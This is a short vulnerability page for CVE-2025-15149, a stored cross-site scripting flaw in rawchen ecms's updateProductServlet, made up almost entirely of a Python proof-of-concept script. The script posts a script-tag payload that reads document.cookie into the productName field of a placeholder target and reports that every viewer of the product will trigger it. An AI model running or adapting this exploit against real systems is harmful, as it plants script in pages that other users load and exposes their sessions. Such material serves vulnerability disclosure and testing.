CVE-2025-15149 rawchen ecms updateProductServlet XSS漏洞

// CVE-2025-15149 XSS PoC - Stored XSS in productName parameter // Target: rawchen ecms updateProductServlet // Author: [email protected] import requests import json target_url = "http://target-server.com/ecms/src/servlet/product/updateProductServlet" # Malicious payload for XSS in productName parameter xss_payload = "<script>alert(document.cookie)</script>" # Prepare the POST request with XSS payload data = { "productName": xss_payload, # Other required parameters may include: # "productDesc": "Description", # "productPrice": "100", # "productStock": "50", # Add other form parameters as required } # Send the malicious request (requires high privilege) response = requests.post(target_url, data=data) # Check if the payload was stored if response.status_code == 200: print("[+] XSS payload sent successfully") print("[*] Payload stored in productName field") print("[*] Any user viewing this product will trigger the XSS") else: print("[-] Request failed") # The stored XSS will be triggered when accessing: # - Product list page # - Product detail page # - Admin product management page